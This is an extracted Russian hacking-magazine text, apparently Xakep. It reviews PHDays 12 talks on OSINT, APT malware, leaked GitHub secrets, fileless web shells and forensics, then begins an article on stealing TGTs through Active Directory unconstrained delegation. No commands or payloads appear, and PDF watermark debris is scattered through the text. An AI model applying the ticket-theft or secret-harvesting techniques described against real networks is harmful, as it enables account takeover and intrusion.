Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
20.93 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

COVERSTORY

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВСПОМИНАЕМ ВЫСТУПЛЕНИЯ, ЗАПИСИ КОТОРЫХ СТОИТ ПОСМОТРЕТЬ

Конферен­ ции­ — это для меня в первую­ очередь­ интерес­ ные­ доклады­ , и PHDays 12 в этом плане­ не подвел­ . Было стойкое­ ощущение­ , что надо успеть везде­ , хоть это и оказалось­ невозможно­ — выступле­ ­ ния с привлекатель­ ными­ темами неиз ­ менно перекрывали­ друг друга­ по времени­ . Хвала­ организа­ торам­ : они выкладыва­ ют­ видео в публичный­ доступ­ , и теперь можно­ сходить­ на PHD, не вставая­ с дивана.

FearZzZz

Непрерывно двигайся. Ад пожирает праздных. AppSec, Bug Bounty, Legal Hacking. Telegram channels: @razehell, @lockpick vladfearzzzz@gmail.com

Читай­ также­ мой отчет с PHDays 12: «Как хакеры наводнили­ парк Горького­ ».

В этом году доклады­ были разделены­ и проходи­ ли­ в двух стоящих­ рядом шат ­ рах. Один назывался­ «Зал боевых искусств» (атака­ ), другой­ — «Школа­ само ­ обороны­ » (защита). Бурные­ аплодис­ менты­ слышались­ то тут, то там, но наибольший­ ажиотаж­ все же царил в шатре­ защиты. Там было не протол­ ­ кнуться­ ! В «Зале боевых искусств», начиная с середины­ первого­ дня, толкучка­ была заметн­ о меньше­ , хотя доклады­ тут тоже шли весьма­ интерес­ ные­ .

Записи­ докладов­ ты можешь найти­ как на сай­те

PHDays, так и на YouTube.

1. ГЕОПРОСТРАНСТВЕННАЯ РАЗВЕДКА НА ВАШЕМ РАБОЧЕМ СТОЛЕ

Секция­ : #OFFENSE

Спикер­ : Schwarz Osint, автор каналов @geoint и @schwarz_osint

Запись­ доклада­

Совету­ ю пойти­ и немедленно­

скачать­

вот отсюда­ презен­ таци­

ю этог­ о загадоч ­

 

 

 

 

 

ного джентльмена­

в маске­ и очках. Зачем? Во первых­ , это интерес­ ный­

док ­

лад с необычной­ подачей. Во вторых­ , в файле­ есть куча ссылок­ и QR-коды,

так что жаждущим­

знаний­ будет чем заняться­ .

»

««На вещи надо смотреть­

шире», — Schwarz Osint

Что особен­ н­ о понравилось­

в его выступле­

нии­ , так это доступность­

материала­

даже для совсем­

несведущих­

. Да и последова­

тель­

ность­

подачи не позволила­

во всем этом хоть мало мальски­

запутаться­ . Всё на своих­ местах­ , бери

да вникай­ : и что такое вообще­ GEOINT, и на какой главный­

вопрос­

отвечает­

эта дисципли­

на­ (спойлер­ : OSINT — «что?», GEOINT — «где?»), и какая

методология­

есть в арсенале­

специалис­

тов­ и энтузиас­

тов­ . Постигнув­

эту дис ­

циплину­ , ты, например­

, сможешь­

понять, что происхо­

ди­ т в точке­ на карте­ , где

было сделан­ о фото.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Спикер­ щедр­ о отсыпа­ л знаний­

про область примене­

ния­ GEOINT, показы ­

вал реальные­

кейсы­ и даже перечисли­ л популярные­

рабочие инстру­ мен­ ты­ ,

попутн­ о упоминая­

их особен­ ности­

и область примене­

ния­ .

 

 

 

 

»

««Аналитик­

должен­

быть ленивым», — Schwarz Osint

 

 

 

 

 

Тонкости­

работы с изображени­

ями­

(да, метаданные­

 

в 2023 году живее всех

живых, не поверишь), с видеоза­ пися­

ми­ (панорамиро­

вание­

), со специфи­

чес­ ­

кими объекта­ ми­ (горы, тени и прочее­ ) и вагон иной интерес­ ной­

информа ­

ции — все это спикер­

умести­ л в тридцать­

минут. Затем

последова­

ла­

не менее интерес­ ная­ часть ответов­ на вопросы­

. Они гармонич­

но­ дополнили­

сам доклад­ , поэтому­ не проходи­

мимо.

 

 

 

 

 

 

 

Если­ просмотр­

записи приведе­

т тебя в восторг­

, рекомендую­

продол­ жить­

веселье и посмотреть­

оба

выступле­

ния­

Андрея

Масаловича­

,

номера 8 и 9 в этом списке­ .

 

 

 

 

 

 

 

 

 

 

2. APT-МАГИЯ В ЗОНЕ РОССИЙСКО-УКРАИНСКОГО КОНФЛИКТА

Секция­ : #DEFENSE

Спикеры­ : Георгий­ Кучерин и Леонид Безвершен­ ­ко, «Лаборатория­ Кас ­ перско­ ­го»

Запись­ доклада­

«Обыкновен­ ная­ магия», «облачный чародей», «корм для рыб», «все переп ­ летено»... Это не главы­ из новой книги­ о знамени­ том­ волшебни­ ке­ , а слайды­ к пламен­ ному­ выступле­ ни­ ю двух специалис­ тов­ «Лаборатории­ Каспер­ ско­ го­ ».

Они расска­ зали­ детективну­ ю ИБ истори­ ю с закручен­ ным­ сюжетом и неожи ­ данным­ финалом (да и финалом ли?).

Как это часто­ бывает­ , все началось с целевого­ фишинга­ , при котором про ­ исходила­ рассылка­ на первый­ взгляд легитимного­ PDF-файла­ . Первая­ при ­ манка­ датирована­ аж 2021 годом, а основная волна­ заражений­ началась уже в следующем­ году. Георгий­ и Леонид раскры­ ­ли детали атаки­ , разобрали­ на составля­ ­ющие инсталлятор­ и обратили­ внимание­ слушате­ ­лей на интерес­ ­ ные нюансы­ . Спойлерить­ не буду, но отмечу­ забавный­ момент про название­

Powermagic (непосредс­ твен­ но­ вредонос­ ) — его придума­ ли­ злоумыш­ ленни­ ки­ , назвав­ так директорию­ , из которой работал зловред­ .

Следующий­ этап доклада­ был посвящен­ более сложному­ импланту­ — фреймвор­ ­ку под названи­ ­ем Commonmagic.

Анализ­ Powermagic и Commonmagic не прояснил­ один довольно­ важный­ воп ­ рос: какая именн­ о APT-группиров­ ка­ стояла­ за атаками­ ? На помощь пришли­ коллеги­ из за рубежа, помогли­ поэтапно­ восполнить­ пробелы­ в информации­ . Эксперты­ Malwarebytes — одной из компаний­ , поделившихся­ своим­ иссле ­ дованием­ , — умудрились­ даже некоторое­ время­ следить­ за атакующи­ ми­ .

««In this case, attributing the attack to a specifc country is not » an easy task», — Malwarebytes

Дальше­ выступа­ ­ющие расска­ ­зали про новые угрозы­ и их новые имена­ , при ­ вели техничес­ ­кие разборы­ нюансов­ и объясни­ ­ли детали допущенных­ зло ­ умышленни­ ­ками ошибок­ .

Под конец доклада­ перед зрителя­ ­ми вырисовал­ ­ся совершенно­ новый тай ­ млайн атаки­ . Оказалось­ , что стоящая­ за ней группиров­ ­ка сохраняла­ активность больше­ пятнадца­ ­ти лет и, возможно­ , еще покажет себя.

Рекомен­ ду­ ю посмотреть­ доклад­ , а также­ можешь глянуть­ на перву­ ю часть исследова­ ния­ , опубликован­ ну­ ю в блоге­ Securelist.

3. ПРАЗДНИК К НАМ ПРИХОДИТ: АТАКИ НА НОВОГОДНИЕ САЙТЫ

ИСТРАНИЦЫ ПРОМОАКЦИЙ

Секция­ : #OFFENSE

Спикер­ : Александр­ Колчанов­ , независимый­ исследова­ тель­

Запись­ доклада­

Этот доклад­

будет полезен в

перву­

ю

очередь­

руководите­

лям­

компаний­

и менеджерам­

, которые организу­

ют­ рекламные­

акции и конкурсы­

. Александр­

Колчанов­

— опытный­

багхантер­

и на протяже­

нии­ всего­ повество­ вания­

давал

примеры­

плохих­ практик­ из личного­

опыта­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сайты­ промоак­

ций­

атаку­ ют чаще, чем можно­ себе предста­ вить­ . Нередко­

для проведе­

ния­

акций используют­

ся­ сторон­ ние­

сервисы­

, и чем их больше­ ,

тем выше вероятность­

столкнуть­

ся­ с уязвимос­

тями­

и утечками­

данных­ . Также­

нельзя­ забывать про репутацион­

ные­

риски­ при больших­

финансовых­

вло ­

жениях­ компаний­

. Плюс к этому­ — большая­

затрата­

ресурсов­

ИБ отдела­ .

На старте­ акции приходит­

ся­ поднимать­

множес­ тво­ сервисов­

, а по завер ­

шении все их грамот­ н­ о гасить (аккаунты­

, серверы­

, домены, поддомены­

и про ­

чее).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Опираясь­

на

 

свой

опыт, Александр­

перечислил­

наиболее­

актуаль­ ные­

методы атак, явный лидер среди­ которых — перехва­ т домена. Немало проб ­ лем вызывают­ и попытки­ компаний­ сэкономить­ . Все сайты­ зачастую­ заводят на одном аккаунте­ , даже без дополнитель­ ных­ настро­ ек­ прав доступа­ .

Возможны­ и финансовые­ атаки­ . В качестве­ примера­ был упомянут­ СМС флуд, способ­ ный­ высушить бюдже­ т акции полностью­ . Иногда­ виновата­ бывае­ т аутентифика­ ция­ : удобство­ входа­ на промосай­ т часто­ ставя­ т выше безопасности­ и здравого­ смысла­ .

Еще из интерес­ ­ного: поддель­ ­ные утечки­ данных­ (лихой замес из OSINT и жгучег­ о желания нанести­ репутацион­ ­ный риск компании­ ), накрутки­ в игро ­ вых акциях­ и мошенничес­ ­тво, нарушения­ со стороны­ подрядчи­ ­ков, утечки­ данных­ сотрудни­ ­ков и многое­ другое­ .

Кстати­ , о подрядчи­ ках­ . С их стороны­ возможно­ множес­ тво­ сюрпри­ зов­ : закупка­ сомнитель­ ной­ рекламы­ , использование­ чужих аккаунтов­ , накрутки­

ипрочее­ в таком духе.

Аеще Александр­ упомяну­ л очень неприят­ ­ную для всех багханте­ ­ров вещь — периоди­ ­чес­ки возника­ ­ющее паразитиро­ ­вание компаний­ на самой идее багбаун­ ­ти. С обманами­ , хотфикса­ ­ми уязвимос­ ­тей и даже угрозами­ . Увы, такое тоже встречает­ ­ся.

4. G/VRP

Секция­ : #FAST TRACK

Спикер­ : lalka, независимый­ исследова­ ­тель, автор канала

@ScriptKiddieNotes

Запись­ доклада­

Начина­ ­ющим хантерам­ или тем, кто не знает­ , как вкатывать­ ­ся в охоту­ за баун ­ ти, рекоменду­ ю обратить­ ­ся к мудрости­ Лалки­ . Не пугайся­ , что речь в докладе­ идет о Google. Основная мысль в том, что баги есть везде­ .

Что до матерых потрошите­ ­лей вебчика­ , то для них этот доклад­ просто­ три ­ надцать­ минут хорошего­ настро­ ­ения. Спойлерить­ не буду, так как выступле­ ­ ние и без того короткое­ . Экспрес­ ­сивная подача материала­ после­ просмотра­ каждому­ багханте­ ­ру дает +13 пойнтов­ к мотивации­ , +37 пойнтов­ к удаче­ на нахождение­ критов­ и на 101 пойн­ т снижае­ т шансы­ на дупли­ . Так что глянь доклад­ — и бегом искать баги прямо­ сейчас­ . Можешь даже не дочитывать­ статью!

5. СОБРАТЬ ДАННЫЕ РАНЬШЕ ЗЛОУМЫШЛЕННИКА

Секция­ : #FAST TRACK

Спикер­ : Елизаве­ ­та Рыженкова­ , «Бизон», автор канала @fuckwebsec

Запись­ доклада­

Елизаве­ ­та Рыженкова­ расска­ ­зала о своем­ опыте­ выуживания­ (краулин­ ­га, если угодно­ ) из недр GitHub всевоз­ ­можных токенов доступа­ , секретных­ ключей­

и другой­ полезной­ информации­ . Также­ она подели­ ­лась скриптом­ на Python, чтобы­ все желающие­ тоже смогли­ получить удоволь­ ­ствие.

Из за чего вообще­ весь шум? Из за плохих­

практик­

программи­

рова­

ния­

и банальной­ невниматель­

нос­ ти­ , когда­ в публичных­

репозитори­

ях­ можно­ най ­

ти токены, пароли, лицензион­

ные­

ключи­ и прочие­ вещи, которые не должны­

протекать­

наружу. Злоумыш­

ленни­

кам­

ведь тоже ничего не стои­ т автомати­

­

зировать­

их поиск и валидацию­ . Атака­ по своей­ сути простая­ , не требует­

от злоумыш­

ленни­

ка­ получать права­ в системе­

, а импакт критичес­

кий­ .

 

 

 

 

 

 

 

Елизаве­

та­ не тольк­ о расска­ зала­

о наиболее­

популярных­

тулзах­ , которые

использу­ ют для решения таких задач, но и уточнила­

, что, помимо отдельных­

токенов, можн­ о нередко­ встретить­

и целые файлы­ , щедро­ набитые разнооб­

­

разными­ кредами­

; также­ упомяну­

ла­ методы поиска­ информации­

по GitHub

(дорки­ ), не забыв и про комплексные­

решения вроде­ Git Dorker; затем рас ­

сказала­

про способы­

исправления­

радиуса­ кривиз­ ны­ рук разработ­

чиков­

(pre-

commit hook, SAST-решения, интеграция­ в CI и так далее).

 

 

 

 

 

 

 

 

 

 

 

 

И напоследок­

— важней­ шее­

напоминание­

: если секреты­

внезап­ но­ перес ­

тали быть секретами­

(читай: данные­

скомпро­ мети­

рова­

ны­ , компания­

взло ­

мана), то поможет только­ инвалида­

ция­

старых­

токенов и создание­

 

новых.

И самое главное­

— после­ этого­ не наступить­

на те же грабли­ еще раз и не

выкладывать­

новые токены на GitHub!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Смотреть­

запись доклада­

нужно­ строго­ параллель­

но­ с презен­ таци­

ей­ , ина ­

че можн­ о упустить­

пару моментов­ . Либо можешь пытаться­ разгля­ деть­

слайды­

прям­ о в записи.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

6. КАК ЗАЩИТИТЬСЯ ОТ «БЕСТЕЛЕСНЫХ» ВЕБ-ШЕЛЛОВ

Секция­ : #FAST TRACK

Спикеры­ : Дании­ л Садырин и Андрей Сикорский­ , CyberOK

Запись­ доклада­

Стремитель­

ный­

доклад­ , в котором слово­ взял Даниил­ и расска­ зал­ , какие

веб шеллы­ сейчас­ встречают­

ся­ в «дикой природе­

» и как с ними обращать­

ся­ .

Например­

, доступный­

из веба шелл в виде файла­ на диске­ легко­ обнаружить­

;

попытка­ залить шелл через уязвимость­

в веб приложе­

нии­

 

(Command

Injection, Object Injection и подобное­ ) может стриггерить­

WAF, а саму уяз ­

вимость вскоре­ после­ обнаруже­

ния­ может пропат­ чить­

разработ­

чик­ .

 

 

 

 

 

В общем, докладчик­

прошел­ ся­ по основным нюансам­ , заключив­

, что впол ­

не можн­ о прятать­ ся­ в памяти процес­ са­ веб приложе­

ния­ . Основные плюсы­

этог­ о метода: не нужен файл, можно­ маскировать­

 

запросы­

 

на выполнение­

кода к легитимным­

скриптам­ . Минус: зависимость­

 

срока­ жизни­ такого бэк ­

дора от аварий­ ног­ о завершения­

процес­ са­ или перезагрузки­

веб сервера­

.

 

 

 

Дании­ л отметил­ , что ни в одном из предыду­

щих­

исследова­

ний­

этого­ воп ­

роса нет универ­ саль­

ного­

подхода­

к внедрению­

бестелес­

ного­

бэкдора­

при минимальных­ правах­ в системе­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Втору­ ю часть доклада­

,

посвящен­

ну­ ю выявлению­

бестелес­

ных­

 

сюрпри­ зов­

и защите от них, взял на себя Андрей Сикорский­

. Он расска­ зал­ о решении

под названи­

ем­ SOLDR (System of Orchestration, Lifecycle control, Detection

 

 

 

 

 

and Response) и напомни­ л о такой потряса­

ющей­

штуке­ , как аудит. Вряд ли

кто то стане­ т спорить­

 

с тем, что важно­ отлавливать­

в том числе­ и бестелес­

­

ные бэкдоры­

, не дожидаясь­

 

стадии­

постэкс­ плу­

ата­ ции­

,

которая

далеко

не факт что произой­

дет­ сразу­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В перву­ ю очередь­

 

доклад­

будет полезен разработ­

чикам­

и админис­ тра­ ­

торам, которые хотят знать о последних­

трендах­ в безопасности­

или хотя бы

ориенти­

ровоч­

н­ о представ­

лять­

себе, с какими явлениями­

можно­ столкнуть­

ся­ .

 

 

7. ЗАБЛОКИРУЙ МЕНЯ ПОЛНОСТЬЮ, ИЛИ НЕ ВСЕ VPN ОДИНАКОВО ПОЛЕЗНЫ

Секция­ : #FAST TRACK

Спикер­ : Констан­ тин­ Евдокимов­ , независимый­ исследова­ тель­

Запись­ доклада­

Констан­ тин­ начал свое бодрое­ повество­ вание­ с оды Роскомнад­ зору­ за вклад в популяриза­ ци­ ю VPN в России­ . Затем дал общие советы по выбору VPN, упомянув­ фродско­ ринг­ (грубо­ говоря, индикатор­ риска­ ) и всеми­ любимый деанон (не путай с произво­ дите­ лем­ йогуртов­ ).

Этот самый деанон случает­ ся­ при так называемом­ VPN-фейлбэ­ ке­ : когда­ соединение­ обрывает­ ся­ на пару секунд, твои данные­ продол­ жаю­ т разбегать­ ­ ся на все четыре стороны­ , даже если соединение­ благопо­ луч­ но­ восста­ нов­ ­ лено.

Спикер­ дал слушате­ ­лям пару важных­ советов. Например­ : не доверяй сво ­ ему провай­ ­деру, не доверяй РКН, шифруй­ сетевой канал и помни­ про SSLмимикрирова­ ­ние. После­ этого­ докладчик­ благопо­ ­луч­но перешел к финальной­ части­ , в которой расска­ ­зал про методы обхода­ ограниче­ ­ний РКН, а под конец нагрузи­ л любопытных­ слушате­ ­лей ссылками­ на тематичес­ ­кое чтиво­ .

Доклад­ будет особен­ но­ интересен­ тем, кто по какой то причине­ все еще не интересо­ вал­ ся­ этой темой достаточ­ но­ подробно­ .

8. МЫ ЗНАЕМ, ЧТО ВЫ ДЕЛАЛИ ПРОШЛЫМ ЛЕТОМ: КАК УЗНАТЬ ВСЁ О ЧЕЛОВЕКЕ ПО ОТКРЫТЫМ ИСТОЧНИКАМ

Секция­ : #НАУЧПОП­

Спикер­ : Андрей Масалович­ AKA КиберДед­ , «Инфорус­ », автор канала

@deedcoin_club

Запись­ доклада­

Враг знае­ т систему­ . Вокруг­ нас дебилы. Среда­ нулевого­ доверия. Интригует­ ? Андрей­ Масалович­ , широко известный­ в комьюни­ ­ти под псевдонимом­

КиберДед­ , развле­ ­кал публику­ , ненавязчиво­ посвящая­ в основы­ OSINT: перечисли­ л арсена­ л нападающих­ и дал советы о том, как хотя бы минимально­ затруднить­ слежку­ за нашими девайсами­ .

Дальше­ пошли­ кейсы­ посложнее­ . Не знаю, многие­ ли удивят­ ­ся, но уход из социаль­ ­ных сетей и удаление­ аккаунта­ не поможет скрыться­ ни от зло ­ умышленни­ ­ков, ни от предста­ ­вите­лей силовых структур­ . Равно­ как балаклава­ на голове и отсутствие­ в карманах­ гаджетов­ не спасу­ т от деанона­ и ответс ­ твенности­ за содеянное­ .

Затем­ Масалович­ расска­ ­зал о бытовых гаджетах­ , которые становят­ ­ся умнее, чем нужно­ . Хорошая новость в том, что пока следить­ потенциаль­ ­но может тольк­ о самая дорогая техника­ , но это явление­ времен­ ­ное. И конечно­ , за нами шпионя­ т не только­ бытовые гаджеты­ и приборы­ , но и фитнес­ брас ­ леты, смартфо­ ­ны, умные весы (забавный­ случай­ , кстати­ ) и, конечно­ , соцсети­ , что не должн­ о быть для тебя таким уж шоком. В общем, все, что может собирать информацию­ , обязатель­ ­но будет. Добро­ пожаловать­ в реальный­ мир!

««Мы проснулись­ на планете­ , захвачен­ ­ной роботами­ , которые нас сдают­ , еще по предваритель­ ­ному сговору­ в составе­ орга ­ » низован­ ­ной преступной­ группы­ », — КиберДед­

Разбор­ интерес­ ных­ кейсов­ , СОРМ, «Пять глаз», интерпре­ тация­ собранных­ данных­ , нейросети­ , ЧатГоПоТа­ и многое­ другое­ смешано­ в один мощный­ информацион­ ный­ коктей­ ль­ , который я тебе рекомендую­ продегус­ тировать­ лично­ .

9. А ЧТО, ТАК МОЖНО БЫЛО? 15 МАЛОИЗВЕСТНЫХ ПРИЕМОВ

OSINT

Секция­ : #OFFENSE

Спикер­ : Андрей Масалович­ AKA КиберДед­ , «Инфорус­ », автор канала

@deedcoin_club

Запись­ доклада­

Яне мог удержать­ ­ся и гляну­ л и второй­ доклад­ Масаловича­ . Он частично­ пересекает­ ­ся с первым­ , но в то же время­ дополняе­ т его: бытовая техника­ , которая за нами шпионит­ ; совсем­ новый вид шпиона­ ­жа под названи­ ­ем PlaceRaider (фотоприложе­ ­ние для 3D-шпиона­ ­жа); ChatGPT проходи­ т капчу­ , обманывая­ человека­ ; «Фейсбук­ » и его система­ подска­ ­зок, выдающая­ «скры ­

тых друзей­ »; геопозиция­ в «Твиттере­ » и сказоч­ ные­ персонажи­ , ее не отклю ­ чающие; сервисы­ местополо­ жения­ вроде­ Glympse; ландшафтная­ навигация­ (на этом моменте­ доклад­ пересекает­ ся­ с дисципли­ ной­ GEOINT, о которой в первый­ день форума PHD расска­ зыва­ л Schwarz Osint); Cross-Device Tracking; акселеро­ метр­ смартфо­ на­ и многое­ многое­ другое­ .

««ДедЖивем на позитиве­ , у нас есть своя фига в кармане­ !» — Кибер-­ »

Фина­ л доклада­ — это, грубо­ говоря, напоминание­ все тех же трех важных­ моментов­ : «враг знает­ систему­ », «вокруг­ нас дебилы» и «среда­ нулевого­ доверия». Рекоменду­ ю к просмотру­ !

10. ТОП-10 АРТЕФАКТОВ LINUX ДЛЯ РАССЛЕДОВАНИЯ ИНЦИДЕНТОВ

Секция­ : #DEFENSE

Спикер­ : Лада Антипова­ , Angara Security, автор канала @s3Ch1n7

Запись­ доклада­

Презен­ ­тация

Лада­ Антипова­

спокой­ но­ и без лишней­

суеты расска­ зала­

, как искать медь,

а находить золото, ну или что делать, если мы столкну­ лись­

с подозритель­

ной­

активностью в живой системе­

.

 

»

««Grep — наш лучший­

друг!» — Лада Антипова­ .

Но мало любить grep всем сердцем­ , надо еще и выучить его синтаксис­ , а потом не забывать использовать­ этот мощней­ ший­ инстру­ мен­ т всегда­ и вез ­ де.

««Когда­ мы смотрим­ любую информацию­ в системе­ , мы всегда­ » ищем аномалии­ », — Лада Антипова­ .

После­ этого­ Лада перешла­ к основной части­ доклада­ , в которой перечислила­ топ-10 артефак­ ­тов, которые нужно­ получать и изучать­ при рассле­ ­дова­нии инциден­ ­тов. Лада подробно­ расска­ ­зала об особен­ ­ностях и нюансах­ каждого­ из них, опираясь­ на свой опыт.

Вопросы­ были тоже интерес­ ­ные: собравши­ ­еся коллеги­ по цеху не удер ­ жались и поделились­ своими­ секретами­ мастерс­ ­тва. В общем, доклад­ крутой­ , доступный­ , информатив­ ­ный и слушает­ ­ся с удоволь­ ­стви­ем.

«Искусс­

тво­

следопы­

та­

в корпоратив­

ной­

инфраструктуре­

:

как поведенческие­

индикато­

ры­

помогают­

в рассле­ дова­

нии­

инциден­ ­тов» — Анна Олейникова­ , Security Vision

«Социаль­ ­ная инженерия­ : тенденции­ red team, техничес­ ­кие аспекты kill chain и проектный­ опыт» — Констан­ ­тин Полишин, Positive Technologies

«Современ­ ­ные атаки­ на Google Chrome» — Алиса­ Шевченко­ , Zero Day Engineering (есть еще оригина­ л на английском­ )

«Интернет­ картогра­ ­фия в 2023 году. Чего не может Shodan»

Сергей­ Гордей­ ­чик, Александр­ Гурин, Игорь Первушин­ , CyberOK

«Кибер­ ­развед­ка — это просто­ , и чем она отличает­ ­ся от „про-­

бива“, OSINT и HUMINT» — Дмитрий­ Махаев­ , «Ростелеком­ Солар»

«Кто, как и зачем атакует­ Linux-инфраструктуры­ » — Олег Скулкин­ , «Бизон»

«У deception нет цели, есть только­ путь» — Алексей­ Егоров­ , «Бизон»

«Фейковые­ утечки­ : слив НЕ засчитан­ ?» — Николай Чурсин­ , Positive Technologies

«Компро­ ­мета­ция сети через средства­ резервно­ ­го копиро-­

вания» — Александр­ Коротин, «Лаборатория­ Каспер­ ­ско­го»

«Red teaming: методики­ фишинговых­ атак» — Вадим Шелест, МТС

RED (доступна­ презен­ ­тация)

«Как понять, что твоя инфраструктура­ взломана­ » — Констан­ ­тин Васильев­ и Олег Слепушен­ ­ко, «ИБ Реформ»

ВЫВОДЫ

На фоне довольн­ о прямоли­ ­ней­ных выступле­ ­ний особен­ ­но выделились­ док ­ лады Schwarz Osint и Лалки­ — как за счет выбранных­ спикера­ ­ми образов­ , так и за счет подачи. С изюмом­ и интригой­ !

При подготов­ ­ке материала­ я заметил, что непосредс­ ­твен­ное присутс­ ­твие на выступле­ ­ниях и просмотр­ этих же докладов­ в записи дают ощутимо­ разное­ воспри­ ятие­ одной и той же информации­ . Очень жду, что организа­ торы­ опуб ­ ликуют­ оставшиеся­ презен­ тации­ , чтобы­ можно­ было с кайфом­ пересмотреть­ все еще раз.

Всем спикерам­ без исключений­ — моя благодар­ ­ность за информацию­ и смелость­ ! Решиться­ на публичное­ выступле­ ­ние без нее непросто­ . Вы — мощь!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ

TGT DELEGATION В ACTIVE DIRECTORY

В этой статье мы рассмот­ рим­ не очень популярную­ , но крайне­ интерес­ ную­ атаку­ , реализовав­ которую атакующий­ сможет­ получить TGT-билет пользовате­ ля­ , даже не зная его пароля либо хеша. Хакеру дос ­

таточно­ лишь выполнить­

код от лица этого­

пользовате­

ля­

, а все остальное­

сделает­

за нас KDC.

 

 

 

_MKS_ konovalovmaks0304@mail.ru

Active Directory предос­ тавля­ е­ т мощный­ набор функций­ для делегирова­ ния­ прав на олицет­ ворение­ пользовате­ лей­ конкрет­ ной­ службе­ . Существу­ е­ т три вида делегирова­ ния­ : неограничен­ ное­ , ограничен­ ное­ и ограничен­ ное­ на основе­ ресурсов­ . Про каждый­ уже расска­ зыва­ лось­ много­ раз, но какие еще возможнос­ ти­ таит в себе механизм делегирова­ ния­ ?

ОСОБЕННОСТИ НЕОГРАНИЧЕННОГО ДЕЛЕГИРОВАНИЯ

При неограничен­

ном­

делегирова­

нии­

админис­ тра­ тор­

приходи­

т к службе­

и говорит: «Теперь ты можешь олицет­ ворять­

клиентов­

на других­ службах­ ».

Причем­

на абсолют­ н­ о любых службах­

(отсюда­ и название­

— неограничен­

­

ное). Как это работает­ ?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Во первых­ , клиен­ т обращает­

ся­ к службе­ с неограничен­

ным­

делегирова­

­

нием. KDC видит, что эта служба­

имее­ т

специаль­

ный­

флаг

TRUSTED_FOR_DELEGATION (он сигнализи­

руе­ т о том, что у службы­ настро­ ено­

неограничен­

ное­

делегирова­

ние­ ), поэтому­ возвра­ щае­ т клиенту­

 

 

TGS

на эту

службу­ , но со специаль­ ным­ флагом­ OK-AS-DELEGATE. Следующим­ шагом кли ­ ент проверя­ е­ т этот самый флаг. Если он видит, что флаг установ­ лен­ , то понимает­ : служба­ используе­ т неограничен­ ное­ делегирова­ ние­ , поэтому­ кли ­ ент вновь идет к KDC и запрашива­ е­ т специаль­ ный­ FORWARDED TGT, который будет отправлен­ службе­ .

Внутри­ этог­ о тикета будет лежать также­ сессион­ ный­ ключ, что позволит­ службе­ без проблем­ олицет­ ворять­ клиента­ . Далее у клиента­ будет TGS-тикет на службу­ , а также­ этот FORWARDED TGT, поэтому­ пора идти к службе­ . Генерирует­ ся­ запрос­ AP-REQ, который содержи­ т этот самый FORWARDED TGT.

FORWARDED TGT в AP-REQ

